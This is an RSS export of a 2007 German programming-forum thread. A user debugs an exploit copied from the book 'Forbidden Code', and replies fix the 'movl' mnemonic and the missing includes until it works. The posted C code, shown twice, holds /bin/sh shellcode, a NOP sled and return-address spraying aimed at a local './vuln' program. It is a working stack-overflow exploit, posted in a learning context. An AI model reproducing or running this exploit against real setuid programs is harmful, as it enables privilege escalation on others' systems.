<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[gcc akzepiert ASM-befehl nicht]]></title><description><![CDATA[<p>HI,<br />
ich les gerade das buch 'Forbidden Code' und hab das folgende Beispiel ausprobiert,<br />
aber i-wie klappt dass nicht mit dem ASM-befehl mit gcc .</p>
<pre><code class="language-cpp">#include &lt;stdlib.h&gt;

char shellcode[] = 
&quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0&quot;
&quot;\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d&quot;
&quot;\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73&quot;
&quot;\x68&quot;;

unsigned long sp(void)   
{ __asm__(&quot;mov1 %esp, %eax&quot;);}      // &lt;--- FEHLER 

int main(int argc, char *argv[])
{
  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  offset = 0;
  esp = sp();          //Aktuellen Stack-Pointer in esp schreiben
  ret = esp - offset;  //ret-Adresse überschreiben

  printf(&quot;Stack pointer (ESP): 0x%x\n&quot;, esp);
  printf(&quot; Offset from ESP : 0x%x\n&quot;, offset);
  printf(&quot;Desired Return Addr : 0x%x\n&quot;, ret);

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);

//Gesamten Puffer mit der gewünschten ret-Adresse füllen
  ptr = buffer;
  addr_ptr = (long *) ptr;
  for(i=0; i &lt; 600; i+=4)
  { *(addr_ptr++) = ret; }

//Die ersten 200 Bytes des Puffers mit NOP-Anweisungen füllen
  for(i=0; i &lt; 200; i++)
  { buffer[i] = '\x90'; }

//Den Shellcode nach dem NOP-Sled schreiben
  ptr = buffer + 200;
  for(i=0; i &lt; strlen(shellcode); i++)
  { *(ptr++) = shellcode[i]; }

//Den String beenden
buffer[600-1] = 0;

//Jetzt das Programm ./vuln mit dem manipulierten Buffer als Argument aufrufen
execl(&quot;./vuln&quot;, &quot;vuln&quot;, buffer, 0);

//Speicherpuffer freigeben
free(buffer);

return 0;
}
</code></pre>
<p>Ergebniss is gcc</p>
<pre><code>ERROR: no such instruction: mov1 %esp, %eax'
</code></pre>
<p>Danke schon im Vorraus auf alle Antworten !</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/191929/gcc-akzepiert-asm-befehl-nicht</link><generator>RSS for Node</generator><lastBuildDate>Sun, 27 Sep 2026 06:51:41 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/191929.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 08 Sep 2007 13:02:38 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 13:02:38 GMT]]></title><description><![CDATA[<p>HI,<br />
ich les gerade das buch 'Forbidden Code' und hab das folgende Beispiel ausprobiert,<br />
aber i-wie klappt dass nicht mit dem ASM-befehl mit gcc .</p>
<pre><code class="language-cpp">#include &lt;stdlib.h&gt;

char shellcode[] = 
&quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0&quot;
&quot;\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d&quot;
&quot;\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73&quot;
&quot;\x68&quot;;

unsigned long sp(void)   
{ __asm__(&quot;mov1 %esp, %eax&quot;);}      // &lt;--- FEHLER 

int main(int argc, char *argv[])
{
  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  offset = 0;
  esp = sp();          //Aktuellen Stack-Pointer in esp schreiben
  ret = esp - offset;  //ret-Adresse überschreiben

  printf(&quot;Stack pointer (ESP): 0x%x\n&quot;, esp);
  printf(&quot; Offset from ESP : 0x%x\n&quot;, offset);
  printf(&quot;Desired Return Addr : 0x%x\n&quot;, ret);

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);

//Gesamten Puffer mit der gewünschten ret-Adresse füllen
  ptr = buffer;
  addr_ptr = (long *) ptr;
  for(i=0; i &lt; 600; i+=4)
  { *(addr_ptr++) = ret; }

//Die ersten 200 Bytes des Puffers mit NOP-Anweisungen füllen
  for(i=0; i &lt; 200; i++)
  { buffer[i] = '\x90'; }

//Den Shellcode nach dem NOP-Sled schreiben
  ptr = buffer + 200;
  for(i=0; i &lt; strlen(shellcode); i++)
  { *(ptr++) = shellcode[i]; }

//Den String beenden
buffer[600-1] = 0;

//Jetzt das Programm ./vuln mit dem manipulierten Buffer als Argument aufrufen
execl(&quot;./vuln&quot;, &quot;vuln&quot;, buffer, 0);

//Speicherpuffer freigeben
free(buffer);

return 0;
}
</code></pre>
<p>Ergebniss is gcc</p>
<pre><code>ERROR: no such instruction: mov1 %esp, %eax'
</code></pre>
<p>Danke schon im Vorraus auf alle Antworten !</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361268</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361268</guid><dc:creator><![CDATA[ioBen]]></dc:creator><pubDate>Sat, 08 Sep 2007 13:02:38 GMT</pubDate></item><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 13:07:32 GMT]]></title><description><![CDATA[<p>ich würd sagen, das heißt nur mov.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361270</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361270</guid><dc:creator><![CDATA[retertr]]></dc:creator><pubDate>Sat, 08 Sep 2007 13:07:32 GMT</pubDate></item><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 14:04:06 GMT]]></title><description><![CDATA[<p>wenn ich nur 'mov' schreib kommt keine Fehlermeldung mehr über den ASMbefehl....<br />
aber es scheint als würde gcc keine funktionen mehr akzepieren ...</p>
<pre><code>Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion &gt;&gt;printf&lt;&lt;
Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion &gt;&gt;strlen&lt;&lt;
Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion &gt;&gt;execl&lt;&lt;
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1361329</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361329</guid><dc:creator><![CDATA[ioBen]]></dc:creator><pubDate>Sat, 08 Sep 2007 14:04:06 GMT</pubDate></item><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 14:17:26 GMT]]></title><description><![CDATA[<p>ioBen schrieb:</p>
<blockquote>
<p>aber es scheint als würde gcc keine funktionen mehr akzepieren ...</p>
</blockquote>
<p>Wie kommst Du darauf? Warnungen schaden dem Compiliervorgang i.A. nicht.</p>
<pre><code>Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion &gt;&gt;printf&lt;&lt;
Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion &gt;&gt;strlen&lt;&lt;
Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion &gt;&gt;execl&lt;&lt;
</code></pre>
<p>Das sieht so aus als ob Du einfach nur die passenden Includes (printf stdio.h, strlen string.h usw.) vergessen hättest. Darüberhinaus verwendest Du offenbar einen ANSI-C Compiler, dann wäre diese Frage im falschen Subforum gestellt <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361338</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361338</guid><dc:creator><![CDATA[LordJaxom]]></dc:creator><pubDate>Sat, 08 Sep 2007 14:17:26 GMT</pubDate></item><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 14:22:02 GMT]]></title><description><![CDATA[<p>gcc -&gt; movl (MOVL)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361342</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361342</guid><dc:creator><![CDATA[langeweile]]></dc:creator><pubDate>Sat, 08 Sep 2007 14:22:02 GMT</pubDate></item><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 14:37:13 GMT]]></title><description><![CDATA[<p>movl danke, das funktioniert.<br />
Jetzt hab ich aber dass problem dass gcc die error-messages (s.oben) ausgibt.<br />
Weiß aber nicht was ich an den Funktionen ändern soll.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361363</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361363</guid><dc:creator><![CDATA[ioBen]]></dc:creator><pubDate>Sat, 08 Sep 2007 14:37:13 GMT</pubDate></item><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 14:38:38 GMT]]></title><description><![CDATA[<p>ah hab n beitrag übersehn ... mein letzen beitrag einfach vergessen</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361365</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361365</guid><dc:creator><![CDATA[ioBen]]></dc:creator><pubDate>Sat, 08 Sep 2007 14:38:38 GMT</pubDate></item><item><title><![CDATA[Reply to gcc akzepiert ASM-befehl nicht on Sat, 08 Sep 2007 15:27:55 GMT]]></title><description><![CDATA[<p>Programm funktioniert jetzt mit den<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;unistd.h&gt; datein.</p>
<p>Danke</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1361405</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1361405</guid><dc:creator><![CDATA[ioBen]]></dc:creator><pubDate>Sat, 08 Sep 2007 15:27:55 GMT</pubDate></item></channel></rss>